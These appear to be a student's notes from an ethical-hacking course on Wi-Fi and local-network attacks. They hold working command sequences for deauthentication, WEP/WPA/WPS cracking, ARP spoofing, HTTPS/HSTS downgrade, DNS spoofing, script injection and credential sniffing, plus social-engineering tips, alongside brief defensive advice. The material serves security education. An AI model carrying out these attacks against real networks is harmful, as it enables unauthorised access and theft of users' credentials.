Network Hacking

client →request -response ← access point[router] → resource [internet]

mac address - media access control [assigned by manufacturer]

- permanent
- physical
- unique

mac add use within network to identify devices and transfer data b/w devices.

contain a source mac and a destination mac

changing mac would make anonymous, impersonante, bypass filters

change mac - ether

- ifconfig
- disable the interface → ifconfig wlan0 down
- change ether → infcofig wlan0 hw ether 00:11:22:33:44:55
- enable the interface → ifconfig wlan0 up

to capture the packets we need to change the mode of operation of our wireless interface so that it operates in monitor mode.

- iwconfig

- change mode from managed → monitor mode
- disable interface → ifconfig wlan0 down
- kill any process that may interfere with using my interface in monitor mode → aimon-ng check kill
- enable monitor mode → iwconfig wlan0 mode monitor
- enable interface → iwconfig wlan0 up

packet sniffing usinf airodump-ng :

- airodump -ng wlan0 [name of wireless adapter]
  - BSSID - mac add
  - PWR - signal strength [higer number = better signal]
  - Beacons - frames sent by network in order to broadcast its existance
  - #Data - packets/ data frames
  - #/s - number of data frames collected in last 10 sec
  - CH - channel number
  - MB - max speed supported by network
  - ENC - encryption used by network
  - CIPHER - cipher used in network
  - AUTH - authentication used on network
  - ESSID - wifi names

wifi bands :

- decides the frequency range

- determines the range
- clients need to support band used by router
- data can be sniffed from a certain band if the wireless adapter used supports the band

common wifi bands:

- a uses 5ghz frequency only //
- b,g uses 2.4 ghz frequency only //
- n uses 5 and 2.4 ghz
- ac uses frequencies lower than 6ghz

to get wireless networks around :

- airodump-ng wlan0 [only 2.4ghz]
- airodump-ng - - band a wlan0 [for 5ghz]
- airodump-ng - - band abg wlan0 [for both 2.4 & 5ghz] it can be slower

Target packet sniffing :

- airodump-ng - - bssid _____ - - channel 2 - - write test wlan0

  sections:

  - bssid : mac add
  - stations : devices
  - pwr - signal strength
  - rate - speed
  - lost - amount of data lost
  - frames - amount of packets captured

- probes - any devices probing for networks

- go to wireshark and gather info

Deauthentication Attack :

- disconnect any client from any network
  - works on encrypted networks [wep, wpa and wpa2]
  - no need to know the network key
  - no need to connect the network

```
aireplay-ng - - deauth [#deauthpackets] 100000  -a
[networkmac] -c [targetmac]  -D [only if target uses 5ghz]
wlan0 [interface]
```

social engineering :

- disconnect client from network and
- call the user as a it guy and ask them to install a virus or backdoor telling them it would fix the issue
- also could create a fake access point and ask them to connect to that fake access point and start spying on them
- can also capture the handshake

Gaining access WEP Encryption :

- wired equivalent privacy
- old encryption
- uses algo named RC4

- can be cracked easily

Theory :

- client encrypt data using a key
- encrypted packet is sent into the air
- router decrypts packets using the key

detailed theory :

- each packet is encrypted using an unique key stream
- random intialization vector (IV) is used to generate the key streams
- the intialization vector is only 24 bits!
- IV+Key(password) = key stream
- router has the key(password) for decryption

weakness in the theory :

- the IV is in plain text when captured
- the size of iv is too small (24 bits)

Results :

- it will repeat on busy network
- this makes WEP vulnerable to statistical attack
- repeated IVs can be used to determine the key stream
- and break the encryption

wep caracking :

- capture a large number of packets/IVs → airodump-ng
- analyse the captured IVs and crack the key → aircrack-ng

practical on busy WEP network :

- airodumnp-ng - - bssid _____ - - channel [ ] - - write basic_wep wlan0
  - under the #Data section , there are number of useful packets that use diff ivs that can be used to crack the key
  - higher the number better for cracking key
- go to files and use the .cap file in next command
- aircrack-ng _____.cap
- get the key and remove the colons and use it as password in wifi

practical on not busy slow WEP network

- Fake authentication attack :
  - airodump-ng - - bssid _____ - - channel [ ] - - write arpreplay wlan0
  - aireplay-ng - - fakeauth 0 -a __**[mac add of target]**___ -h ___[mac add of wireless adapter=1st 12 digit of unspec and change the - with :]___ wlan0
    - after running aireplay-ng you will find under the auth section OPN and a new client connected at the bottom

- ARP Request Replay Attack :

  idea-

  - wait for an ARP packet
  - capture it and replay it (retransmit it)
  - this causes the AP to produce another packet with a new IV
  - keep doing this till we have enough IVs to crack the key

- practical [continuation on the above attacks commands] :
  - aireplay-ng - - arpreplay -b __**[mac add of target]**___ -h ___[mac add of wireless adapter=1st 12 digit of unspec and change the - with :]___ wlan0
  - run the fakeauth attack command again to associate
  - aircrack-ng _____.cap

WPA/WPA2 cracking :

- both can be cracked using the same methods
- made to address the issues in WEP
- much more secure
- Each packet is encrypted using an unique temporary key

WPA [dkip] / WPA2[ccna] cracking :

ARP Request Replay :

- WPS is a feature that can be used with WPA & WPA2
- allows client to connect without the password

- authentication is done using an 8 digit pin
  - 8 digit is very small
  - We can try all possible pins in short time
  - Then WPS pin can be used to compute the actual password

ps: this only works if the router is configured not to use PBC (Push Button Authentication)

practical :

- display devices with WPS : wash - - interface wlan0
  - dbm - strength
  - wps - version
  - lck - lock
  - vendor - hardware used
  - essid - name
- exploiting wps feature
- aireplay-ng - - fakeauth 30 -a __[target mac add]__ -h __[unspec=1st twelve digit]__ wlan0
- bruteforce pin : reaver - - bssid __ - - channel 1 - - interface wlan0 -vvv - - no-associate

Cracking wpa/wpa2 :

- only handshake packets consists of useful packets
  - these are 4 packets sent when a client connects to the network

Practical :

- to view the all networks around - airodump-ng wlan0
- run the target and store in a file - airodump-ng - - bssid __[target mac add]__ - - channel____ - -write wpahandshake wlan0
- deauth and cancel it in order to connect the user again - aireplay-ng - - deauth 4 -a __[mac add of target = bssid]__ -c __[client mac add = station]__ wlan0
- the handshake doesnot contains data for the key but contains data that can be used to check if the key is valid or not. Therefore we will create a wordlist.
- syntax for wordlists - crunch[min][max][characters] -t[pattern] -o[filename]
- wordlist attack - aircrack-ng ____.cap -w wordlist.txt

▼ Securing network from hackers :

Now that we know how to test the security of all known wireless encryptions (WEP/WPA/WPA2), it is relatively easy to secure our networks against these attacks as we know all the weaknesses that can be used by hackers to crack these encryptions.

So lets have a look on each of these encryptions one by one:

1. WEP: WEP is an old encryption, and its really weak, as we seen in the course there are a number of methods that can be used to crack this encryption regardless of the strength of the password and even if there is nobody connected to the network. These attacks are possible because of the way WEP works, we discussed the weakness of WEP and how it can be used to crack it, some of these methods even allow you to crack the key in a few minutes.

2. WPA/WPA2: WPA and WPA2 are very similar, the only difference between them is the algorithm used to encrypt the

information but both encryptions work in the same way.
WPA/WPA2 can be cracked in two ways

1. If **WPS** feature is enabled then there is a high chance of obtaining the key regardless of its complexity, this can be done by exploiting a weakness in the WPS feature. WPS is used to allow users to connect to their wireless network without entering the key, this is done by pressing a WPS button on both the router and the device that they want to connect, the authentication works using an **eight digit pin,** hackers can brute force this pin in relatively short time (in an average of 10 hours), once they get the right pin they can use a tool called reaver to reverse engineer the pin and get the key, this is all possible due to the fact that the WPS feature uses an easy pin (only 8 characters and only contains digits), so its not a weakness in WPA/WPA2, its a weakness in a feature that can be enabled on routers that use WPA/WPA2 which can be exploited to get the actual WPA/WPA2 key.

2. If WPS is not enabled, then the only way to crack WPA/WPA2 is using a dictionary attack, in this attack a list of passwords (dictionary) is compared against a file (handshake file) to check if any of the passwords is the actual key for the network, so if the password does not exist in the wordlist then the attacker will not be able to find the password.

Conclusion:

1.Do not use WEP encryption, as we seen how easy it is to crack it regardless of the complexity of the password and even if there is nobody connected to the network.

2. Use WPA2 with a complex password, make sure the password contains small letters, capital letters, symbols and numbers and;

3. Ensure that the WPS feature is disabled as it can be used to crack your complex WPA2 key by brute-forcing the easy WPS pin.

Course content

Course content

Overview

Q&AQuestions and answers

Notes

Announcements

Reviews

Learning tools

- Configuring wireless settings for maximum security :
  - default gateway [router]: ip route
  - copy and paste ip on web browser and login
  - go to wifi settings > untick ssid > under security section make it WPA2 personal and set a good password
  - disable the wps button from wps setting
  - mac filtering/access control list > mac filtering mode > allow and save the known mac add

Post Connection attack :

Information Gathering :

- discover devices on network
- display their :
  - IP add
  - MAC add
  - Operating system
  - Open ports
  - Running services etc.

- `netdiscover -r 192.168.154.1/24`
  - incase of real world scenario when wireless network adapter plugged use new inet from wlan0 in the range.
- use zenmap - quick scan plus
- if you find any ssh open in apple device that means that device is jailbroken and it sets a default password : alpine
  - ssh root@ip_add

MITM attacks : victim >< hacker >< accesspoint >< resources

- ARP [Address Resolution Protocol] Poisoning :
  - Simple protocol used to map IP add of a machine to its MAC add.
  - `arp -a`
    - the physical address can be modified by exploiting the arp protocol

- Why ARP spoofing is possible :

- Clients accept responses even if they did not send a request.
- Clients trust response without any form of verification.

Practical :

arpspoof:

- 1st terminal :arpspoof -i eth0[interface] -t [clientIP] [gateway]
- 2nd terminal : arpspoof -i [interface] -t [gateway] [client ip]
  - the 1st one is fooling the victim and the 2nd one will fool the router.

- Port forwarding in order to flow the packets to the router :
  - echo 1 > /proc/sys/net/ipv4/ip_forward

bettercap:

can be used for :

1. arp spoof target (redirect the flow of packets)
2. Sniff data (urls, username, passwords)
3. bypass https
4. redirect domain requests(dns spoofing)
5. inject code in loaded pages

- bettercap -iface [interface]

- help

- help net.probe
- net.probe on
- net.show

- set arp.spoof.fullduplex true
- set arp.spoof.targets 10.0.2.7
- arp.spoof on

Spying on the network:

- help net.sniff
- net.sniff on

write all the commands in a text file and name it with extension abc.cap

- bettercap -iface wlan0 -caplet abc.cap
  - it will work only on http
- now go to the target computer and browse any website with http and comeback and see the results on kali.

Problems :

- data in http is sent as plain text
- a mitm can read and edit request and responses, hence not secure

Solution :

- HTTPS is an adaptation of HTTP
- Encrypt HTTP using TLS (Transport Layer Security) or SSL (Secure Sockets Layer)

Bypassing HTTPS :

- Downgrade HTTPS to HTTP
- edit the abc.cap and include the following before net.snifff on command :
  - set net.sniff.local true
- bettercap -iface wlan0 -caplet abc.cap
- bettercap comes with a lot of default caplets
  - caplets.show
- hstshijack/hstshijack
- now go to the target computer and check how the https browser changing to http browser by downgrading itself and now come back and see the results on kali.

HSTS :

- HTTP Strict Transport Security
- Used by facebook, twitter and famous website

Problems:

- Modern browser are hard-coded to only load a list of HSTS website over https.

- website like those only accepts if the response of the request comes in https.

Solution :

- Trick the browser into loading a different website.
- replace all links for HSTS website with smaller links
  - ex:
    1. facebook.com ⇒ facebook.corn
    2. twiiter.com ⇒ twiter.com
- path for placing hstshijack caplet if downloaded : usr/local/share/bettercap/caplets
- modify the hstshijack caplets on targets and replacements.
- bettercap -iface wlan0 -caplet abc.cap
- hstshijack/hstshijack
- go to target computer & bypass hsts by google.ie and now go to facebook and our script will run in background and replace all the website with facebook.corn
- now go back and observe the results

HSTS chrome :

- for downgrading HTTPS to HTTP ⇒ go to hstshijack.cap and modify the targets, replacements, dns.spoof.domains with the website you want to add
- for downgrading HSTS to HTTP ⇒ disable Secure DNS in chrome.
  - setting > security > secure dns

DNS Sppofing :

- DNS is a server that converts domain names to ip of the server that is hosting the particular website.
- When user types google.com on web browser the request goes to a DNS server and the server response back with the ip where google.com files are stored and the browser is load from this ip.
- in mitm we can get the request and response back with any ip that will redirect the user to our own server.
- kali comes with a builtin web browser.
  - service apache2 start
  - ifconfig
  - copy inet
  - paste inet on browser
  - go to /var/www/html → incase of any website include the files of website on this file
  - open index.html & modify it
  - bettercap -iface wlan0 -caplet abc.cap
  - help
  - help dns.spoof
  - set dns.spoof.all true
  - set dns.spoof.domains target.com, *.target.com
  - dns.spoof on

Code Injection :

- inject javascript code on loaded pages
- code gets executed by target browser

- this can be used to
  - replace links
  - replace images
  - insert html elements
  - hook target browser to exploit framework
- javascript code :save this on root with alert.js
  - alert('javascript test');
- modify the payload in set hstshijack.payloads ⇒ *:/root/alert.js
- bettercap -iface wlan0 -caplet abc.cap
- hstshijack/hstshijack

Graphical Interface :

- bettercap -iface eth0
- ui.update
- http-ui
- copy and paste the url on web browser
- user | pass

MITM with Wireshark :

- run bettercap for MITM and get the packets in wireshark
- hstshijack/hstshijack
- go to wireshark option and start eth0
- go to target computer and generate some traffic and comeback to analyse

- filter with http
- check for post request in order to check for login request
- go to spoof.cap and modify with : set net.sniff.output /home/spartan/wireless/arp
- ctrl+F

Honeypot :

- client >< access point >< internet
- client >< hacker machine [creating wifi network] >< internet
- download wifi hotspot tool
  - ssid - internet
  - password - open
  - wifi interface - wlan0
  - internet interface - eth0

Dectecing arp poisoning :

- download XArp

Detecing suspicious activities in the network :

- wireshark>edit>preferences>protocols>arp>detect arp request
- analyse

PReventions :

- install HTTPS Everywhere plugin
- use vpn